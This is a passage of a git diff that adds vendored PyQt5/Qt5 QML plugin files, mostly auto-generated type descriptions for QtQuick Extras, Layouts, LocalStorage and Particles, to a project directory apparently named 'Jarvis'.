type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/Tumbler 1.2" + exports: ["QtQuick.Extras/Tumbler 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + Property { name: "__highlightMoveDuration"; type: "int" } + Property { name: "columnCount"; type: "int"; isReadonly: true } + Property { name: "__columnRow"; type: "QQuickRow"; isReadonly: true; isPointer: true } + Property { name: "__movementDelayTimer"; type: "QQmlTimer"; isReadonly: true; isPointer: true } + Method { + name: "__isValidColumnIndex" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "__isValidColumnAndItemIndex" + type: "QVariant" + Parameter { name: "columnIndex"; type: "QVariant" } + Parameter { name: "itemIndex"; type: "QVariant" } + } + Method { + name: "currentIndexAt" + type: "QVariant" + Parameter { name: "columnIndex"; type: "QVariant" } + } + Method { + name: "setCurrentIndexAt" + type: "QVariant" + Parameter { name: "columnIndex"; type: "QVariant" } + Parameter { name: "itemIndex"; type: "QVariant" } + Parameter { name: "interval"; type: "QVariant" } + } + Method { + name: "getColumn" + type: "QVariant" + Parameter { name: "columnIndex"; type: "QVariant" } + } + Method { + name: "addColumn" + type: "QVariant" + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "insertColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "__viewAt" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QObject" + name: "QtQuick.Extras/TumblerColumn 1.2" + exports: ["QtQuick.Extras/TumblerColumn 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + Property { name: "__tumbler"; type: "QQuickItem"; isPointer: true } + Property { name: "__index"; type: "int" } + Property { name: "__currentIndex"; type: "int" } + Property { name: "model"; type: "QVariant" } + Property { name: "role"; type: "string" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "highlight"; type: "QQmlComponent"; isPointer: true } + Property { name: "columnForeground"; type: "QQmlComponent"; isPointer: true } + Property { name: "visible"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "width"; type: "double" } + Property { name: "currentIndex"; type: "int"; isReadonly: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/qmldir new file mode 100644 index 00000000..0cac6a55 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/qmldir @@ -0,0 +1,7 @@ +module QtQuick.Extras +plugin qtquickextrasplugin +classname QtQuickExtrasPlugin +#typeinfo plugins.qmltypes + +depends QtGraphicalEffects 1.0 +depends QtQml 2.14 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/qtquickextrasplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/qtquickextrasplugin.dll new file mode 100644 index 00000000..8ebdb086 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/qtquickextrasplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/plugins.qmltypes new file mode 100644 index 00000000..d3f778d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/plugins.qmltypes @@ -0,0 +1,130 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + file: "qquicklinearlayout_p.h" + name: "QQuickColumnLayout" + prototype: "QQuickLinearLayout" + exports: [ + "QtQuick.Layouts/ColumnLayout 1.0", + "QtQuick.Layouts/ColumnLayout 1.1", + "QtQuick.Layouts/ColumnLayout 1.11", + "QtQuick.Layouts/ColumnLayout 1.4", + "QtQuick.Layouts/ColumnLayout 1.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + } + Component { + file: "qquicklinearlayout_p.h" + name: "QQuickGridLayout" + prototype: "QQuickGridLayoutBase" + exports: [ + "QtQuick.Layouts/GridLayout 1.0", + "QtQuick.Layouts/GridLayout 1.1", + "QtQuick.Layouts/GridLayout 1.11", + "QtQuick.Layouts/GridLayout 1.4", + "QtQuick.Layouts/GridLayout 1.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Flow" + values: ["LeftToRight", "TopToBottom"] + } + Property { name: "columnSpacing"; type: "double" } + Property { name: "rowSpacing"; type: "double" } + Property { name: "columns"; type: "int" } + Property { name: "rows"; type: "int" } + Property { name: "flow"; type: "Flow" } + } + Component { + file: "qquicklinearlayout_p.h" + name: "QQuickGridLayoutBase" + prototype: "QQuickLayout" + Property { name: "layoutDirection"; revision: 1; type: "Qt::LayoutDirection" } + Signal { name: "layoutDirectionChanged"; revision: 1 } + } + Component { + file: "qquicklayout_p.h" + name: "QQuickLayout" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Layouts/Layout 1.0", + "QtQuick.Layouts/Layout 1.1", + "QtQuick.Layouts/Layout 1.11", + "QtQuick.Layouts/Layout 1.4", + "QtQuick.Layouts/Layout 1.7" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + attachedType: "QQuickLayoutAttached" + Method { name: "invalidateSenderItem" } + Method { name: "_q_dumpLayoutTree" } + } + Component { + name: "QQuickLayoutAttached" + prototype: "QObject" + Property { name: "minimumWidth"; type: "double" } + Property { name: "minimumHeight"; type: "double" } + Property { name: "preferredWidth"; type: "double" } + Property { name: "preferredHeight"; type: "double" } + Property { name: "maximumWidth"; type: "double" } + Property { name: "maximumHeight"; type: "double" } + Property { name: "fillHeight"; type: "bool" } + Property { name: "fillWidth"; type: "bool" } + Property { name: "row"; type: "int" } + Property { name: "column"; type: "int" } + Property { name: "rowSpan"; type: "int" } + Property { name: "columnSpan"; type: "int" } + Property { name: "alignment"; type: "Qt::Alignment" } + Property { name: "margins"; type: "double" } + Property { name: "leftMargin"; type: "double" } + Property { name: "topMargin"; type: "double" } + Property { name: "rightMargin"; type: "double" } + Property { name: "bottomMargin"; type: "double" } + } + Component { + file: "qquicklinearlayout_p.h" + name: "QQuickLinearLayout" + prototype: "QQuickGridLayoutBase" + Property { name: "spacing"; type: "double" } + } + Component { + file: "qquicklinearlayout_p.h" + name: "QQuickRowLayout" + prototype: "QQuickLinearLayout" + exports: [ + "QtQuick.Layouts/RowLayout 1.0", + "QtQuick.Layouts/RowLayout 1.1", + "QtQuick.Layouts/RowLayout 1.11", + "QtQuick.Layouts/RowLayout 1.4", + "QtQuick.Layouts/RowLayout 1.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + } + Component { + file: "qquickstacklayout_p.h" + name: "QQuickStackLayout" + prototype: "QQuickLayout" + exports: [ + "QtQuick.Layouts/StackLayout 1.11", + "QtQuick.Layouts/StackLayout 1.3", + "QtQuick.Layouts/StackLayout 1.4", + "QtQuick.Layouts/StackLayout 1.7" + ] + exportMetaObjectRevisions: [11, 3, 4, 7] + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "currentIndex"; type: "int" } + Method { + name: "itemAt" + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/qmldir new file mode 100644 index 00000000..00f85f7d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/qmldir @@ -0,0 +1,5 @@ +module QtQuick.Layouts +plugin qquicklayoutsplugin +classname QtQuickLayoutsPlugin +typeinfo plugins.qmltypes +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/qquicklayoutsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/qquicklayoutsplugin.dll new file mode 100644 index 00000000..6f37e005 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Layouts/qquicklayoutsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/plugins.qmltypes new file mode 100644 index 00000000..b5490266 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/plugins.qmltypes @@ -0,0 +1,23 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + file: "qquicklocalstorage_p.h" + name: "QQuickLocalStorage" + prototype: "QObject" + exports: ["QtQuick.LocalStorage/LocalStorage 2.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { + name: "openDatabaseSync" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/qmldir new file mode 100644 index 00000000..dd14cc62 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/qmldir @@ -0,0 +1,4 @@ +module QtQuick.LocalStorage +plugin qmllocalstorageplugin +classname QQmlLocalStoragePlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/qmllocalstorageplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/qmllocalstorageplugin.dll new file mode 100644 index 00000000..bc3e0fb6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/LocalStorage/qmllocalstorageplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/particlesplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/particlesplugin.dll new file mode 100644 index 00000000..040c67dc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/particlesplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/plugins.qmltypes new file mode 100644 index 00000000..ae432949 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/plugins.qmltypes @@ -0,0 +1,1385 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + file: "qquickage_p.h" + name: "QQuickAgeAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Age 2.0", + "QtQuick.Particles/Age 2.1", + "QtQuick.Particles/Age 2.11", + "QtQuick.Particles/Age 2.4", + "QtQuick.Particles/Age 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "lifeLeft"; type: "int" } + Property { name: "advancePosition"; type: "bool" } + Signal { + name: "lifeLeftChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "advancePositionChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setLifeLeft" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setAdvancePosition" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquickangledirection_p.h" + name: "QQuickAngleDirection" + prototype: "QQuickDirection" + exports: ["QtQuick.Particles/AngleDirection 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "angle"; type: "double" } + Property { name: "magnitude"; type: "double" } + Property { name: "angleVariation"; type: "double" } + Property { name: "magnitudeVariation"; type: "double" } + Signal { + name: "angleChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "magnitudeChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "angleVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "magnitudeVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAngle" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setMagnitude" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAngleVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setMagnitudeVariation" + Parameter { name: "arg"; type: "double" } + } + } + Component { + file: "qquickpointattractor_p.h" + name: "QQuickAttractorAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Attractor 2.0", + "QtQuick.Particles/Attractor 2.1", + "QtQuick.Particles/Attractor 2.11", + "QtQuick.Particles/Attractor 2.4", + "QtQuick.Particles/Attractor 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Proportion" + values: [ + "Constant", + "Linear", + "Quadratic", + "InverseLinear", + "InverseQuadratic" + ] + } + Enum { + name: "AffectableParameters" + values: ["Position", "Velocity", "Acceleration"] + } + Property { name: "strength"; type: "double" } + Property { name: "pointX"; type: "double" } + Property { name: "pointY"; type: "double" } + Property { name: "affectedParameter"; type: "AffectableParameters" } + Property { name: "proportionalToDistance"; type: "Proportion" } + Signal { + name: "strengthChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "pointXChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "pointYChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "affectedParameterChanged" + Parameter { name: "arg"; type: "AffectableParameters" } + } + Signal { + name: "proportionalToDistanceChanged" + Parameter { name: "arg"; type: "Proportion" } + } + Method { + name: "setStrength" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setPointX" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setPointY" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAffectedParameter" + Parameter { name: "arg"; type: "AffectableParameters" } + } + Method { + name: "setProportionalToDistance" + Parameter { name: "arg"; type: "Proportion" } + } + } + Component { + file: "qquickcumulativedirection_p.h" + name: "QQuickCumulativeDirection" + defaultProperty: "directions" + prototype: "QQuickDirection" + exports: ["QtQuick.Particles/CumulativeDirection 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "directions"; type: "QQuickDirection"; isList: true; isReadonly: true } + } + Component { + file: "qquickcustomaffector_p.h" + name: "QQuickCustomAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Affector 2.0", + "QtQuick.Particles/Affector 2.1", + "QtQuick.Particles/Affector 2.11", + "QtQuick.Particles/Affector 2.4", + "QtQuick.Particles/Affector 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "relative"; type: "bool" } + Property { name: "position"; type: "QQuickDirection"; isPointer: true } + Property { name: "velocity"; type: "QQuickDirection"; isPointer: true } + Property { name: "acceleration"; type: "QQuickDirection"; isPointer: true } + Signal { + name: "affectParticles" + Parameter { name: "particles"; type: "QJSValue" } + Parameter { name: "dt"; type: "double" } + } + Signal { + name: "positionChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "velocityChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "accelerationChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "relativeChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setPosition" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setVelocity" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setAcceleration" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setRelative" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquickcustomparticle_p.h" + name: "QQuickCustomParticle" + prototype: "QQuickParticlePainter" + exports: [ + "QtQuick.Particles/CustomParticle 2.0", + "QtQuick.Particles/CustomParticle 2.1", + "QtQuick.Particles/CustomParticle 2.11", + "QtQuick.Particles/CustomParticle 2.4", + "QtQuick.Particles/CustomParticle 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "fragmentShader"; type: "QByteArray" } + Property { name: "vertexShader"; type: "QByteArray" } + Method { + name: "sourceDestroyed" + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + } + Component { + file: "qquickdirection_p.h" + name: "QQuickDirection" + prototype: "QObject" + exports: ["QtQuick.Particles/NullVector 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + file: "qquickellipseextruder_p.h" + name: "QQuickEllipseExtruder" + prototype: "QQuickParticleExtruder" + exports: ["QtQuick.Particles/EllipseShape 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "fill"; type: "bool" } + Signal { + name: "fillChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setFill" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquickfriction_p.h" + name: "QQuickFrictionAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Friction 2.0", + "QtQuick.Particles/Friction 2.1", + "QtQuick.Particles/Friction 2.11", + "QtQuick.Particles/Friction 2.4", + "QtQuick.Particles/Friction 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "factor"; type: "double" } + Property { name: "threshold"; type: "double" } + Signal { + name: "factorChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "thresholdChanged" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setFactor" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setThreshold" + Parameter { name: "arg"; type: "double" } + } + } + Component { + file: "qquickgravity_p.h" + name: "QQuickGravityAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Gravity 2.0", + "QtQuick.Particles/Gravity 2.1", + "QtQuick.Particles/Gravity 2.11", + "QtQuick.Particles/Gravity 2.4", + "QtQuick.Particles/Gravity 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "magnitude"; type: "double" } + Property { name: "acceleration"; type: "double" } + Property { name: "angle"; type: "double" } + Signal { + name: "magnitudeChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "angleChanged" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setMagnitude" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAcceleration" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAngle" + Parameter { name: "arg"; type: "double" } + } + } + Component { + file: "qquickgroupgoal_p.h" + name: "QQuickGroupGoalAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/GroupGoal 2.0", + "QtQuick.Particles/GroupGoal 2.1", + "QtQuick.Particles/GroupGoal 2.11", + "QtQuick.Particles/GroupGoal 2.4", + "QtQuick.Particles/GroupGoal 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "goalState"; type: "string" } + Property { name: "jump"; type: "bool" } + Signal { + name: "goalStateChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "jumpChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setGoalState" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setJump" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquickimageparticle_p.h" + name: "QQuickImageParticle" + prototype: "QQuickParticlePainter" + exports: [ + "QtQuick.Particles/ImageParticle 2.0", + "QtQuick.Particles/ImageParticle 2.1", + "QtQuick.Particles/ImageParticle 2.11", + "QtQuick.Particles/ImageParticle 2.4", + "QtQuick.Particles/ImageParticle 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Status" + values: ["Null", "Ready", "Loading", "Error"] + } + Enum { + name: "EntryEffect" + values: ["None", "Fade", "Scale"] + } + Property { name: "source"; type: "QUrl" } + Property { name: "sprites"; type: "QQuickSprite"; isList: true; isReadonly: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "colorTable"; type: "QUrl" } + Property { name: "sizeTable"; type: "QUrl" } + Property { name: "opacityTable"; type: "QUrl" } + Property { name: "color"; type: "QColor" } + Property { name: "colorVariation"; type: "double" } + Property { name: "redVariation"; type: "double" } + Property { name: "greenVariation"; type: "double" } + Property { name: "blueVariation"; type: "double" } + Property { name: "alpha"; type: "double" } + Property { name: "alphaVariation"; type: "double" } + Property { name: "rotation"; type: "double" } + Property { name: "rotationVariation"; type: "double" } + Property { name: "rotationVelocity"; type: "double" } + Property { name: "rotationVelocityVariation"; type: "double" } + Property { name: "autoRotation"; type: "bool" } + Property { name: "xVector"; type: "QQuickDirection"; isPointer: true } + Property { name: "yVector"; type: "QQuickDirection"; isPointer: true } + Property { name: "spritesInterpolate"; type: "bool" } + Property { name: "entryEffect"; type: "EntryEffect" } + Signal { name: "imageChanged" } + Signal { name: "colortableChanged" } + Signal { name: "sizetableChanged" } + Signal { name: "opacitytableChanged" } + Signal { + name: "alphaVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "alphaChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "redVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "greenVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "blueVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "rotationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "rotationVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "rotationVelocityChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "rotationVelocityVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "autoRotationChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "xVectorChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "yVectorChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "spritesInterpolateChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "bypassOptimizationsChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "entryEffectChanged" + Parameter { name: "arg"; type: "EntryEffect" } + } + Signal { + name: "statusChanged" + Parameter { name: "arg"; type: "Status" } + } + Method { + name: "reloadColor" + Parameter { name: "c"; type: "Color4ub" } + Parameter { name: "d"; type: "QQuickParticleData"; isPointer: true } + } + Method { + name: "setAlphaVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAlpha" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setRedVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setGreenVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setBlueVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setRotation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setRotationVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setRotationVelocity" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setRotationVelocityVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAutoRotation" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setXVector" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setYVector" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setSpritesInterpolate" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setBypassOptimizations" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setEntryEffect" + Parameter { name: "arg"; type: "EntryEffect" } + } + Method { name: "createEngine" } + Method { + name: "spriteAdvance" + Parameter { name: "spriteIndex"; type: "int" } + } + Method { + name: "spritesUpdate" + Parameter { name: "time"; type: "double" } + } + Method { name: "spritesUpdate" } + Method { name: "mainThreadFetchImageData" } + Method { + name: "finishBuildParticleNodes" + Parameter { name: "n"; type: "QSGNode*"; isPointer: true } + } + } + Component { + file: "qquickitemparticle_p.h" + name: "QQuickItemParticle" + prototype: "QQuickParticlePainter" + exports: [ + "QtQuick.Particles/ItemParticle 2.0", + "QtQuick.Particles/ItemParticle 2.1", + "QtQuick.Particles/ItemParticle 2.11", + "QtQuick.Particles/ItemParticle 2.4", + "QtQuick.Particles/ItemParticle 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + attachedType: "QQuickItemParticleAttached" + Property { name: "fade"; type: "bool" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Signal { + name: "delegateChanged" + Parameter { name: "arg"; type: "QQmlComponent"; isPointer: true } + } + Method { + name: "freeze" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "unfreeze" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "take" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + Parameter { name: "prioritize"; type: "bool" } + } + Method { + name: "take" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "give" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "setFade" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setDelegate" + Parameter { name: "arg"; type: "QQmlComponent"; isPointer: true } + } + } + Component { + name: "QQuickItemParticleAttached" + prototype: "QObject" + Property { name: "particle"; type: "QQuickItemParticle"; isReadonly: true; isPointer: true } + Signal { name: "detached" } + Signal { name: "attached" } + } + Component { + file: "qquicklineextruder_p.h" + name: "QQuickLineExtruder" + prototype: "QQuickParticleExtruder" + exports: ["QtQuick.Particles/LineShape 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "mirrored"; type: "bool" } + Signal { + name: "mirroredChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setMirrored" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquickmaskextruder_p.h" + name: "QQuickMaskExtruder" + prototype: "QQuickParticleExtruder" + exports: ["QtQuick.Particles/MaskShape 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QUrl" } + Signal { + name: "sourceChanged" + Parameter { name: "arg"; type: "QUrl" } + } + Method { + name: "setSource" + Parameter { name: "arg"; type: "QUrl" } + } + Method { name: "startMaskLoading" } + Method { name: "finishMaskLoading" } + } + Component { + file: "qquickparticleaffector_p.h" + name: "QQuickParticleAffector" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Particles/ParticleAffector 2.0", + "QtQuick.Particles/ParticleAffector 2.1", + "QtQuick.Particles/ParticleAffector 2.11", + "QtQuick.Particles/ParticleAffector 2.4", + "QtQuick.Particles/ParticleAffector 2.7" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "system"; type: "QQuickParticleSystem"; isPointer: true } + Property { name: "groups"; type: "QStringList" } + Property { name: "whenCollidingWith"; type: "QStringList" } + Property { name: "enabled"; type: "bool" } + Property { name: "once"; type: "bool" } + Property { name: "shape"; type: "QQuickParticleExtruder"; isPointer: true } + Signal { + name: "systemChanged" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Signal { + name: "groupsChanged" + Parameter { name: "arg"; type: "QStringList" } + } + Signal { + name: "enabledChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "onceChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "shapeChanged" + Parameter { name: "arg"; type: "QQuickParticleExtruder"; isPointer: true } + } + Signal { + name: "affected" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Signal { + name: "whenCollidingWithChanged" + Parameter { name: "arg"; type: "QStringList" } + } + Method { + name: "setSystem" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Method { + name: "setGroups" + Parameter { name: "arg"; type: "QStringList" } + } + Method { + name: "setEnabled" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setOnceOff" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setShape" + Parameter { name: "arg"; type: "QQuickParticleExtruder"; isPointer: true } + } + Method { + name: "setWhenCollidingWith" + Parameter { name: "arg"; type: "QStringList" } + } + Method { name: "updateOffsets" } + } + Component { + file: "qquickparticleemitter_p.h" + name: "QQuickParticleEmitter" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Particles/Emitter 2.0", + "QtQuick.Particles/Emitter 2.1", + "QtQuick.Particles/Emitter 2.11", + "QtQuick.Particles/Emitter 2.4", + "QtQuick.Particles/Emitter 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Lifetime" + values: 